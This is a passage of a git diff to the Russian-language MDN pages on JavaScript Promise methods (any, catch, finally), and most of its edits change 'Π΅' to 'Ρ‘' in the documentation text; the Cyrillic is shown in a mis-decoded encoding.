"ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅", содСрТащСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ <strong>Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎΠ³ΠΎ(resolved ΠΈΠ»ΠΈ rejected)</strong>, этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅" содСрТащСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ <strong>ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠ³ΠΎ(resolved)Β </strong>"обСщания". ΠœΠ΅Ρ‚ΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ исполнСниС ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ с ошибкой(rejection) Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ исполнСнного ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ(fullfilment).</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΏΠΎΠ»Π΅Π·Π΅Π½, ΠΊΠΎΠ³Π΄Π° Π½ΡƒΠΆΠ½ΠΎ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ исполнСнноС "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅". ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΎΠ΄Π½ΠΎ ΠΈΠ· "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ" Π±ΡƒΠ΄Π΅Ρ‚ исполнСно, ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒΡΡ исполнСния ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ…. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{JSxRef("Promise.all()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит <em>массив(Array)</em> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ исполнСнных ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ, <code>Promise.any()</code>Β ΡΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (ΠΏΡ€ΠΈ условии, что хотя Π±Ρ‹ ΠΎΠ΄Π½ΠΎ ΠΈΠ· "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ" исполнСно ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ). Π’Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π³ΠΎΠ΄Π½Ρ‹ΠΌ, ΠΊΠΎΠ³Π΄Π°Β Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ»ΠΎΡΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅", Π½Π΅Π²Π°ΠΆΠ½ΠΎ ΠΊΠ°ΠΊΠΎΠ΅. Π’Π°ΠΊΠΆΠ΅, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{JSxRef("Promise.race()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅", содСрТащСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ <strong>Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½ΠΎΠ³ΠΎ(resolved ΠΈΠ»ΠΈ rejected)</strong>, этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅" содСрТащСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ <strong>ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠ³ΠΎ(resolved)Β </strong>"обСщания". ΠœΠ΅Ρ‚ΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ исполнСниС ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ с ошибкой(rejection) Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ исполнСнного ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ(fullfilment).</p>
<h3 id="УспСшноС_исполнСниСFullfilment">УспСшноС исполнСниС(Fullfilment)</h3>
-<p>Если ΠΎΠ΄Π½ΠΎ ΠΈΠ· "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ" исполнится ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅" асинхронно исполнится ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠ³ΠΎ "обСщания", нСзависимо ΠΎΡ‚ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ".</p>
+<p>Если ΠΎΠ΄Π½ΠΎ ΠΈΠ· "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ" исполнится ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅" асинхронно исполнится ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠ³ΠΎ "обСщания", нСзависимо ΠΎΡ‚ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ".</p>
<ul>
<li>Если ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ пустой ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚,Β Ρ‚ΠΎΠ³Π΄Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ (синхронно) Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠ΅ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅".</li>
- <li>Если ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ исполнится ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ, ΠΈΠ»ΠΈ Π² ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΌ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ Π½Π΅ содСрТится "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ", "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅" Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>Promise.any</code> асинхронно исполнится ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ.</li>
+ <li>Если ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ исполнится ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ, ΠΈΠ»ΠΈ Π² ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΌ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ Π½Π΅ содСрТится "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ", "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅" Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>Promise.any</code> асинхронно исполнится ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ.</li>
</ul>
<h3 id="ИсполнСниС_с_ошибкойRejection">ИсполнСниС с ошибкой(Rejection)</h3>
-<p>Если всС ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ "обСщания" Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Ρ‹(rejected), <code>Promise.any</code> асинхронно Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· Π΄Π²ΡƒΡ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ²Β (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Π΅ Π½Π΅ Π±Ρ‹Π»ΠΈ согласованы): Π»ΠΈΠ±ΠΎ</p>
+<p>Если всС ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ "обСщания" Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Ρ‹(rejected), <code>Promise.any</code> асинхронно Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· Π΄Π²ΡƒΡ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ²Β (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Ρ‘ Π½Π΅ Π±Ρ‹Π»ΠΈ согласованы): Π»ΠΈΠ±ΠΎ</p>
<ul>
<li>Массив(Array) содСрТащий ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρ‹ отклонСния всСх "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ" ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅, Π»ΠΈΠ±ΠΎ</li>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/catch/index.html b/files/ru/web/javascript/reference/global_objects/promise/catch/index.html
index 91d7970796..3515b9c63c 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/catch/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/catch/index.html
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch
---
<div>{{JSRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <strong>catch()</strong>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>Promise(</code>ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅) ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² случаС отклонСния обСщания. Π’Π΅Π΄Π΅Ρ‚ сСбя Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Π²Ρ‹Π·ΠΎΠ²Ρƒ {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <strong>catch()</strong>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>Promise(</code>ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅) ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² случаС отклонСния обСщания. Π’Π΅Π΄Ρ‘Ρ‚ сСбя Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Π²Ρ‹Π·ΠΎΠ²Ρƒ {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}.</p>
<h2 id="Syntax">Syntax</h2>
@@ -31,7 +31,7 @@ p.catch(function(reason) {
<dt><code>reason</code></dt>
<dd>ΠŸΡ€ΠΈΡ‡ΠΈΠ½Π° ΠΎΡ‚ΠΊΠ°Π·Π°.</dd>
<dt>
- <p>Promise( ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ ), Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ catch (), отклоняСтся, Ссли onRejected Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ(throw) ΠΈΠ»ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Promise, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½; Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Promise, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ catch () ΠΈΠΌΠ΅Π΅Ρ‚ статус  Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎΒ  (fulfilled)</p>
+ <p>Promise( ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ ), Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ catch (), отклоняСтся, Ссли onRejected Π²Ρ‹Π΄Π°Ρ‘Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ(throw) ΠΈΠ»ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Promise, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½; Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Promise, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ catch () ΠΈΠΌΠ΅Π΅Ρ‚ статус  Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎΒ  (fulfilled)</p>
</dt>
</dl>
</dd>
@@ -72,7 +72,7 @@ p1.then(function(value) {
Β  console.log('Not fired due to the catch');
});
-// Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π²Π΅Π΄Π΅Ρ‚ сСбя Ρ‚Π°ΠΊΠΆΠ΅, ΠΊΠ°ΠΊ Π²Ρ‹ΡˆΠ΅Π½Π°ΠΏΠΈΡΠ°Π½Π½Ρ‹ΠΉ
+// Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π²Π΅Π΄Ρ‘Ρ‚ сСбя Ρ‚Π°ΠΊΠΆΠ΅, ΠΊΠ°ΠΊ Π²Ρ‹ΡˆΠ΅Π½Π°ΠΏΠΈΡΠ°Π½Π½Ρ‹ΠΉ
p1.then(function(value) {
Β  console.log(value); // "Success!"
return Promise.reject('oh, no!');
diff --git a/files/ru/web/javascript/reference/global_objects/promise/finally/index.html b/files/ru/web/javascript/reference/global_objects/promise/finally/index.html
index b1a53051fa..c12f7625a0 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/finally/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/finally/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally
---
<div>{{JSRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>finally()</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}. Когда <code>Promise</code> (ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅) Π±Ρ‹Π» Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½, Π² Π½Π΅ зависимости ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠ»ΠΈ с ошибкой, указанная функция Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°. Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ участок ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒΡΡ Π²Π½Π΅ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, с ΠΊΠ°ΠΊΠΈΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ выполнился <code>Promise</code>.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>finally()</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}. Когда <code>Promise</code> (ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅) Π±Ρ‹Π» Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½, Π² Π½Π΅ зависимости ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠ»ΠΈ с ошибкой, указанная функция Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ участок ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒΡΡ Π²Π½Π΅ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, с ΠΊΠ°ΠΊΠΈΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ выполнился <code>Promise</code>.</p>
<p>Π­Ρ‚ΠΎ позволяСт Π²Π°ΠΌ ΠΈΠ·Π±Π°Π²ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ Π΄ΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΊΠΎΠ΄Π° Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°Ρ… {{jsxref("Promise.then", "then()")}} ΠΈ {{jsxref("Promise.catch", "catch()")}}.</p>
@@ -14,11 +14,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally
<pre class="syntaxbox"><var>p.finally(onFinally)</var>;
p.finally(function() {
- // Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ (ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠ»ΠΈ с ошибкой)
+ // Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½ (ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠ»ΠΈ с ошибкой)
});
p.finally(() =&gt; {
-// Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ (ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠ»ΠΈ с ошибкой)
+// Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½ (ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠ»ΠΈ с ошибкой)
});</pre>
<h3 id="ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹">ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</h3>
@@ -40,7 +40,7 @@ p.finally(() =&gt; {
<ul>
<li>ИспользованиС <code>finally()</code> позволяСт ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Π΄Π²ΠΎΠΉΠ½ΠΎΠ³ΠΎ объявлСния ΠΎΠ΄Π½ΠΎΠΉ ΠΈ Ρ‚ΠΎΠΉ ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ»ΠΈ создания ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.Β </li>
- <li><code>finally</code> Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π½Π΅ сущСствуСт способа ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠ»ΠΈ с ошибкой. Π”Π°Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Ссли нС Π²Π°ΠΆΠ½Π° ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π° ошибки ΠΈΠ»ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ выполнСния ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½Π΅Ρ‚ нСобходимости Π΅Π΅/Π΅Π³ΠΎΒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ.</li>
+ <li><code>finally</code> Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π½Π΅ сущСствуСт способа ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠ»ΠΈ с ошибкой. Π”Π°Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Ссли нС Π²Π°ΠΆΠ½Π° ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π° ошибки ΠΈΠ»ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ выполнСния ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½Π΅Ρ‚ нСобходимости Π΅Ρ‘/Π΅Π³ΠΎΒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ.</li>
<li>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚Β <code>Promise.resolve(2).then(() =&gt; {}, () =&gt; {})</code> (Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ resolved-промис, со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>undefined</code>), Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌΒ <code>Promise.resolve(2).finally(() =&gt; {})</code>Β Π±ΡƒΠ΄Π΅Ρ‚ resolved-промис со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>2</code>.</li>
<li>Аналогично, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚Β <code>Promise.reject(3).then(() =&gt; {}, () =&gt; {})</code> (Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ resolved-промис, со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>undefined</code>), Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌΒ <code>Promise.reject(3).finally(() =&gt; {})</code>Β Π±ΡƒΠ΄Π΅Ρ‚ rejected-промис со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>3</code>.</li>
</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/index.html b/files/ru/web/javascript/reference/global_objects/promise/index.html
index f5701b4694..7410136177 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/index.html
@@ -29,13 +29,13 @@ new Promise(function(resolve, reject) { ... });</pre>
<dl>
<dt>executor</dt>
